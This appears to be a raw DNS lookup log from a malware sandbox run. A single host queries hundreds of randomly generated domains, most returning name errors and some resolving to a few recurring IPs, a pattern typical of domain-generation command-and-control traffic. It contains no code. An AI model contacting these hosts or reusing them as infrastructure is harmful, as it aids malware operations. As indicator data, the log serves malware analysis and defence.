Sep 8, 2024 08:40:46.784076929 CEST	1.1.1.1	192.168.2.5	0xf704	Name error (3)	temkmouegeec.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:47.150396109 CEST	1.1.1.1	192.168.2.5	0x8018	Name error (3)	kocxyuy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:47.316589117 CEST	1.1.1.1	192.168.2.5	0x387c	Name error (3)	kocxyuy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:47.910949945 CEST	1.1.1.1	192.168.2.5	0x41e4	Name error (3)	fanamklnfoyip.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:48.004060030 CEST	1.1.1.1	192.168.2.5	0xe85f	Name error (3)	fanamklnfoyip.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:48.393930912 CEST	1.1.1.1	192.168.2.5	0xbc0a	Name error (3)	kufirw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:48.431983948 CEST	1.1.1.1	192.168.2.5	0xa08f	Name error (3)	kufirw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:48.655236959 CEST	1.1.1.1	192.168.2.5	0xafa9	Name error (3)	maaqszkltdgma.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:48.762995958 CEST	1.1.1.1	192.168.2.5	0xa74f	Name error (3)	maaqszkltdgma.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:48.890788078 CEST	1.1.1.1	192.168.2.5	0xd699	No error (0)	kzcgdwoxu.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:50.362925053 CEST	1.1.1.1	192.168.2.5	0x727c	Name error (3)	qamgstcr.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:50.393820047 CEST	1.1.1.1	192.168.2.5	0x8da9	Name error (3)	qamgstcr.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:50.536211967 CEST	1.1.1.1	192.168.2.5	0x970a	Name error (3)	ammbsbmly.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:51.042638063 CEST	1.1.1.1	192.168.2.5	0x240f	Name error (3)	ammbsbmly.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:51.425832033 CEST	1.1.1.1	192.168.2.5	0x79de	Name error (3)	teokueuacws.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:51.464802980 CEST	1.1.1.1	192.168.2.5	0x604d	Name error (3)	teokueuacws.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:51.824579000 CEST	1.1.1.1	192.168.2.5	0x91b9	Name error (3)	mmocisk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:51.923719883 CEST	1.1.1.1	192.168.2.5	0x9f7	Name error (3)	mmocisk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:52.060722113 CEST	1.1.1.1	192.168.2.5	0x4b19	Name error (3)	jzhprgkjytu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:52.110466957 CEST	1.1.1.1	192.168.2.5	0xdbd0	Name error (3)	jzhprgkjytu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:52.432969093 CEST	1.1.1.1	192.168.2.5	0x2860	No error (0)	kebmuam.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:53.573172092 CEST	1.1.1.1	192.168.2.5	0xced7	Name error (3)	saaibybmilu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:53.602540970 CEST	1.1.1.1	192.168.2.5	0xba77	Name error (3)	saaibybmilu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:53.816581011 CEST	1.1.1.1	192.168.2.5	0xe97f	Name error (3)	aemmsikoiqc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:54.164150953 CEST	1.1.1.1	192.168.2.5	0xd736	Name error (3)	aemmsikoiqc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:54.454288960 CEST	1.1.1.1	192.168.2.5	0x8ac7	Name error (3)	zeocstqbeiwd.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:54.618809938 CEST	1.1.1.1	192.168.2.5	0xab17	Name error (3)	zeocstqbeiwd.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:54.897866964 CEST	1.1.1.1	192.168.2.5	0xabc0	Name error (3)	oaqwueszgqabx.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:55.449388027 CEST	1.1.1.1	192.168.2.5	0x9492	Name error (3)	oaqwueszgqabx.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:55.832329035 CEST	1.1.1.1	192.168.2.5	0x6216	Name error (3)	qauqcgs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:55.869683027 CEST	1.1.1.1	192.168.2.5	0x9412	Name error (3)	qauqcgs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:56.200428963 CEST	1.1.1.1	192.168.2.5	0x456f	Name error (3)	uocimcjgwixsm.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:56.388303041 CEST	1.1.1.1	192.168.2.5	0x2760	Name error (3)	uocimcjgwixsm.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:56.658291101 CEST	1.1.1.1	192.168.2.5	0x907d	Name error (3)	ocwwdbo.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:56.803941965 CEST	1.1.1.1	192.168.2.5	0x3a3c	Name error (3)	ocwwdbo.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:56.938038111 CEST	1.1.1.1	192.168.2.5	0x2ac	Name error (3)	musqgawai.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:56.951072931 CEST	1.1.1.1	192.168.2.5	0x1143	Name error (3)	musqgawai.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:57.067591906 CEST	1.1.1.1	192.168.2.5	0x4ba4	No error (0)	kkpyodusyue.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.213445902 CEST	1.1.1.1	192.168.2.5	0xd5ee	Name error (3)	iimvquoqgqqei.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.237648964 CEST	1.1.1.1	192.168.2.5	0xb54d	Name error (3)	iimvquoqgqqei.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.627446890 CEST	1.1.1.1	192.168.2.5	0x496	Name error (3)	wxmgqzezoha.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.650474072 CEST	1.1.1.1	192.168.2.5	0x3022	Name error (3)	wxmgqzezoha.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.789766073 CEST	1.1.1.1	192.168.2.5	0x63ca	Name error (3)	jnkweaw.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.814624071 CEST	1.1.1.1	192.168.2.5	0xf491	Name error (3)	jnkweaw.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.087755919 CEST	1.1.1.1	192.168.2.5	0x8499	Name error (3)	ebyhgu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.360671043 CEST	1.1.1.1	192.168.2.5	0x2109	Name error (3)	ebyhgu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.589504004 CEST	1.1.1.1	192.168.2.5	0x7201	Name error (3)	eooeg.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.636405945 CEST	1.1.1.1	192.168.2.5	0xbb52	Name error (3)	eooeg.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.756043911 CEST	1.1.1.1	192.168.2.5	0x2996	Name error (3)	hgwigdppucuja.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.767324924 CEST	1.1.1.1	192.168.2.5	0x8c2b	Name error (3)	hgwigdppucuja.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.883850098 CEST	1.1.1.1	192.168.2.5	0xfc59	Name error (3)	guoep.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.898129940 CEST	1.1.1.1	192.168.2.5	0x1770	Name error (3)	guoep.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:00.264444113 CEST	1.1.1.1	192.168.2.5	0x1289	No error (0)	lqkrw.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:01.479279041 CEST	1.1.1.1	192.168.2.5	0x732a	No error (0)	yyeeoriseyg.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:02.673335075 CEST	1.1.1.1	192.168.2.5	0xe761	No error (0)	jyioufyfcv.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:04.009299040 CEST	1.1.1.1	192.168.2.5	0xe6b9	Server failure (2)	sngrcudng.ph	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:04.025729895 CEST	1.1.1.1	192.168.2.5	0xffc4	No error (0)	sngrcudng.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:05.662323952 CEST	1.1.1.1	192.168.2.5	0xc961	Name error (3)	uakwotxkrgn.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:05.675008059 CEST	1.1.1.1	192.168.2.5	0x979e	Name error (3)	uakwotxkrgn.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:05.787060022 CEST	1.1.1.1	192.168.2.5	0x1668	No error (0)	leumyqgypiwu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:06.973383904 CEST	1.1.1.1	192.168.2.5	0x5378	No error (0)	luqcqyqgqia.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:08.104693890 CEST	1.1.1.1	192.168.2.5	0x3535	Name error (3)	eweigcuowao.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:08.120268106 CEST	1.1.1.1	192.168.2.5	0x72e5	Name error (3)	eweigcuowao.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:08.314728975 CEST	1.1.1.1	192.168.2.5	0x6084	Name error (3)	iqaee.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:08.411427021 CEST	1.1.1.1	192.168.2.5	0x4b0b	Name error (3)	iqaee.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:08.538372040 CEST	1.1.1.1	192.168.2.5	0x2e1c	No error (0)	yiula.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:09.704128981 CEST	1.1.1.1	192.168.2.5	0x50bb	No error (0)	mkizqeew.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:10.861051083 CEST	1.1.1.1	192.168.2.5	0xcd85	No error (0)	xqkwnymes.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:11.997492075 CEST	1.1.1.1	192.168.2.5	0x20a	No error (0)	ekquqk.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:14.218209028 CEST	1.1.1.1	192.168.2.5	0x476a	Name error (3)	cpygfqvcmesfh.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:14.218415976 CEST	1.1.1.1	192.168.2.5	0x476a	Name error (3)	cpygfqvcmesfh.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:14.544296026 CEST	1.1.1.1	192.168.2.5	0xaa91	Name error (3)	cpygfqvcmesfh.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:14.679302931 CEST	1.1.1.1	192.168.2.5	0x704e	No error (0)	xrwbjrsfq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:15.788254976 CEST	1.1.1.1	192.168.2.5	0x46e8	Name error (3)	pbfut.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:16.076355934 CEST	1.1.1.1	192.168.2.5	0xf91f	Name error (3)	pbfut.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:16.950664997 CEST	1.1.1.1	192.168.2.5	0x749d	Name error (3)	systea.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:17.314042091 CEST	1.1.1.1	192.168.2.5	0xef1e	Name error (3)	systea.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:17.316461086 CEST	1.1.1.1	192.168.2.5	0xef1e	Name error (3)	systea.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:17.604099035 CEST	1.1.1.1	192.168.2.5	0xfbdf	Name error (3)	auvoaajwyokec.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:17.815486908 CEST	1.1.1.1	192.168.2.5	0x70b1	Name error (3)	auvoaajwyokec.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:18.797986031 CEST	1.1.1.1	192.168.2.5	0xf4c2	Name error (3)	pokjmp.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:19.993057013 CEST	1.1.1.1	192.168.2.5	0xec7a	Name error (3)	pokjmp.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:19.993077040 CEST	1.1.1.1	192.168.2.5	0xec7a	Name error (3)	pokjmp.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:20.116152048 CEST	1.1.1.1	192.168.2.5	0xe675	Name error (3)	ayuging.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:20.936994076 CEST	1.1.1.1	192.168.2.5	0x3bc3	Name error (3)	wppwucgxsac.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:21.250770092 CEST	1.1.1.1	192.168.2.5	0xebe5	Name error (3)	wppwucgxsac.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:21.254044056 CEST	1.1.1.1	192.168.2.5	0xebe5	Name error (3)	wppwucgxsac.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:21.379184961 CEST	1.1.1.1	192.168.2.5	0x519e	No error (0)	mnhesjsdm.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:22.550585985 CEST	1.1.1.1	192.168.2.5	0x7d0a	Name error (3)	uypqk.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:22.863305092 CEST	1.1.1.1	192.168.2.5	0x592d	Name error (3)	uypqk.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:23.663670063 CEST	1.1.1.1	192.168.2.5	0xd804	Name error (3)	erggigocgyda.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:23.835437059 CEST	1.1.1.1	192.168.2.5	0x6071	Name error (3)	erggigocgyda.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:23.958802938 CEST	1.1.1.1	192.168.2.5	0xcc1e	No error (0)	szwla.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:25.270149946 CEST	1.1.1.1	192.168.2.5	0x5e1d	Name error (3)	mrwnkwdpi.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:25.339359045 CEST	1.1.1.1	192.168.2.5	0x9178	Name error (3)	mrwnkwdpi.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:25.543689013 CEST	1.1.1.1	192.168.2.5	0x1a05	Name error (3)	ifarjtreekkbk.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:26.164098024 CEST	1.1.1.1	192.168.2.5	0x78fa	Name error (3)	ifarjtreekkbk.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:27.138335943 CEST	1.1.1.1	192.168.2.5	0xdadb	Name error (3)	qzvocycfi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:27.150479078 CEST	1.1.1.1	192.168.2.5	0x604b	Name error (3)	qzvocycfi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:27.548211098 CEST	1.1.1.1	192.168.2.5	0xeeb7	Name error (3)	eimsmfki.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:28.387506008 CEST	1.1.1.1	192.168.2.5	0xe5e9	Name error (3)	eimsmfki.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:28.505292892 CEST	1.1.1.1	192.168.2.5	0x37c8	Name error (3)	yjyupswilwc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:28.515700102 CEST	1.1.1.1	192.168.2.5	0x3ef0	Name error (3)	yjyupswilwc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:29.115030050 CEST	1.1.1.1	192.168.2.5	0x8be3	Name error (3)	bwyeuvwvjua.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:29.115053892 CEST	1.1.1.1	192.168.2.5	0x8be3	Name error (3)	bwyeuvwvjua.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:29.597579002 CEST	1.1.1.1	192.168.2.5	0x2341	Name error (3)	bwyeuvwvjua.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:29.597596884 CEST	1.1.1.1	192.168.2.5	0x2341	Name error (3)	bwyeuvwvjua.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:29.795188904 CEST	1.1.1.1	192.168.2.5	0xdc0e	Name error (3)	kihnrsyomjw.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:30.312027931 CEST	1.1.1.1	192.168.2.5	0xe52d	Name error (3)	kihnrsyomjw.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:30.312045097 CEST	1.1.1.1	192.168.2.5	0xe52d	Name error (3)	kihnrsyomjw.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:30.427170038 CEST	1.1.1.1	192.168.2.5	0xad33	Name error (3)	cygwdmgcubg.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:30.440275908 CEST	1.1.1.1	192.168.2.5	0x4259	Name error (3)	cygwdmgcubg.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:31.214046001 CEST	1.1.1.1	192.168.2.5	0xc0fb	Name error (3)	doxqxmgqeatua.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:31.214063883 CEST	1.1.1.1	192.168.2.5	0xc0fb	Name error (3)	doxqxmgqeatua.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:31.308320999 CEST	1.1.1.1	192.168.2.5	0xbe2b	Name error (3)	doxqxmgqeatua.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:31.459798098 CEST	1.1.1.1	192.168.2.5	0x1ae9	Name error (3)	awuwwaeukke.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:31.499303102 CEST	1.1.1.1	192.168.2.5	0xcc81	Name error (3)	awuwwaeukke.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:31.770298958 CEST	1.1.1.1	192.168.2.5	0x2928	No error (0)	pkyjaqieysowg.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:32.911446095 CEST	1.1.1.1	192.168.2.5	0xf45c	No error (0)	qnbktpkkc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:34.039926052 CEST	1.1.1.1	192.168.2.5	0xa6a2	Name error (3)	awyiaincy.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:34.554418087 CEST	1.1.1.1	192.168.2.5	0x1c02	Name error (3)	awyiaincy.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:34.554440975 CEST	1.1.1.1	192.168.2.5	0x1c02	Name error (3)	awyiaincy.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:34.969278097 CEST	1.1.1.1	192.168.2.5	0xcafc	Name error (3)	fauvmo.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:35.544259071 CEST	1.1.1.1	192.168.2.5	0x46ec	Name error (3)	fauvmo.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:35.905307055 CEST	1.1.1.1	192.168.2.5	0x7724	Name error (3)	auvoymocm.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:36.161253929 CEST	1.1.1.1	192.168.2.5	0x58b9	Name error (3)	auvoymocm.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:36.161269903 CEST	1.1.1.1	192.168.2.5	0x58b9	Name error (3)	auvoymocm.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:36.298264027 CEST	1.1.1.1	192.168.2.5	0xee78	No error (0)	fosfeeu.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:37.461143970 CEST	1.1.1.1	192.168.2.5	0xa4ca	No error (0)	jcbjoxuf.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:40.159116983 CEST	1.1.1.1	192.168.2.5	0xd1e4	Name error (3)	psuys.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:40.159131050 CEST	1.1.1.1	192.168.2.5	0xd1e4	Name error (3)	psuys.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:40.349941969 CEST	1.1.1.1	192.168.2.5	0xd1e4	Name error (3)	psuys.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:40.680160046 CEST	1.1.1.1	192.168.2.5	0x16d4	Name error (3)	psuys.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:40.680177927 CEST	1.1.1.1	192.168.2.5	0x16d4	Name error (3)	psuys.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:41.331197023 CEST	1.1.1.1	192.168.2.5	0x6e0e	Name error (3)	mukcyiyowswba.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:41.331244946 CEST	1.1.1.1	192.168.2.5	0x6e0e	Name error (3)	mukcyiyowswba.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:41.895867109 CEST	1.1.1.1	192.168.2.5	0x25ea	Name error (3)	mukcyiyowswba.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:41.895885944 CEST	1.1.1.1	192.168.2.5	0x25ea	Name error (3)	mukcyiyowswba.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:42.214523077 CEST	1.1.1.1	192.168.2.5	0xd5f8	Name error (3)	goqttcgkmqdqn.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:42.260000944 CEST	1.1.1.1	192.168.2.5	0xcf82	Name error (3)	goqttcgkmqdqn.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:42.478571892 CEST	1.1.1.1	192.168.2.5	0xe71c	Name error (3)	eefyknsogauwh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:43.335702896 CEST	1.1.1.1	192.168.2.5	0x5c35	Name error (3)	eefyknsogauwh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:43.335722923 CEST	1.1.1.1	192.168.2.5	0x5c35	Name error (3)	eefyknsogauwh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:43.466495991 CEST	1.1.1.1	192.168.2.5	0x2154	No error (0)	rpatujwyyeauc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:44.615268946 CEST	1.1.1.1	192.168.2.5	0x50b4	No error (0)	kusgo.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:45.819416046 CEST	1.1.1.1	192.168.2.5	0xa71c	Name error (3)	aswsuqqyipi.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:45.864221096 CEST	1.1.1.1	192.168.2.5	0x1753	Name error (3)	aswsuqqyipi.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:45.989835978 CEST	1.1.1.1	192.168.2.5	0xfcf8	No error (0)	aecaecdyk.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:47.146241903 CEST	1.1.1.1	192.168.2.5	0xc8dd	Name error (3)	mqzjvgwoe.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:47.209119081 CEST	1.1.1.1	192.168.2.5	0xf499	Name error (3)	mqzjvgwoe.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:47.341722012 CEST	1.1.1.1	192.168.2.5	0xc9a7	Name error (3)	defybeg.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:47.617156982 CEST	1.1.1.1	192.168.2.5	0x74e0	Name error (3)	defybeg.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:48.271459103 CEST	1.1.1.1	192.168.2.5	0x7e5a	Name error (3)	rqqwsuplosaay.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:48.286422968 CEST	1.1.1.1	192.168.2.5	0x8af0	Name error (3)	rqqwsuplosaay.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:49.015939951 CEST	1.1.1.1	192.168.2.5	0xc0a1	Name error (3)	sqiwemahodcdmo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:49.915388107 CEST	1.1.1.1	192.168.2.5	0x3f66	Name error (3)	sqiwemahodcdmo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:50.419190884 CEST	1.1.1.1	192.168.2.5	0x1fbd	Name error (3)	urhosiqrdta.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:50.594250917 CEST	1.1.1.1	192.168.2.5	0x6162	Name error (3)	urhosiqrdta.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:50.708864927 CEST	1.1.1.1	192.168.2.5	0x2114	No error (0)	mycccldql.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.007105112 CEST	1.1.1.1	192.168.2.5	0xa38d	Name error (3)	vsubiec.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.266103029 CEST	1.1.1.1	192.168.2.5	0xeb1a	Name error (3)	vsubiec.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.268958092 CEST	1.1.1.1	192.168.2.5	0xeb1a	Name error (3)	vsubiec.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.447329044 CEST	1.1.1.1	192.168.2.5	0x95a4	Name error (3)	tkeyamzgkwokwt.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.483179092 CEST	1.1.1.1	192.168.2.5	0xb30c	Name error (3)	tkeyamzgkwokwt.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.601424932 CEST	1.1.1.1	192.168.2.5	0x57bc	Name error (3)	wriaroies.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.884601116 CEST	1.1.1.1	192.168.2.5	0x7597	Name error (3)	wriaroies.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:53.691512108 CEST	1.1.1.1	192.168.2.5	0xd4b	Name error (3)	wympeicgo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:54.210220098 CEST	1.1.1.1	192.168.2.5	0xbdfb	Name error (3)	wympeicgo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:54.210238934 CEST	1.1.1.1	192.168.2.5	0xbdfb	Name error (3)	wympeicgo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:54.887007952 CEST	1.1.1.1	192.168.2.5	0x4bf3	Name error (3)	akecockyj.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:54.887023926 CEST	1.1.1.1	192.168.2.5	0x4bf3	Name error (3)	akecockyj.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:55.155514956 CEST	1.1.1.1	192.168.2.5	0x5dc	Name error (3)	akecockyj.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:55.428380966 CEST	1.1.1.1	192.168.2.5	0x2bd5	Name error (3)	pncalcu.tk	none	none	A (IP address)	IN (0x0001)	false
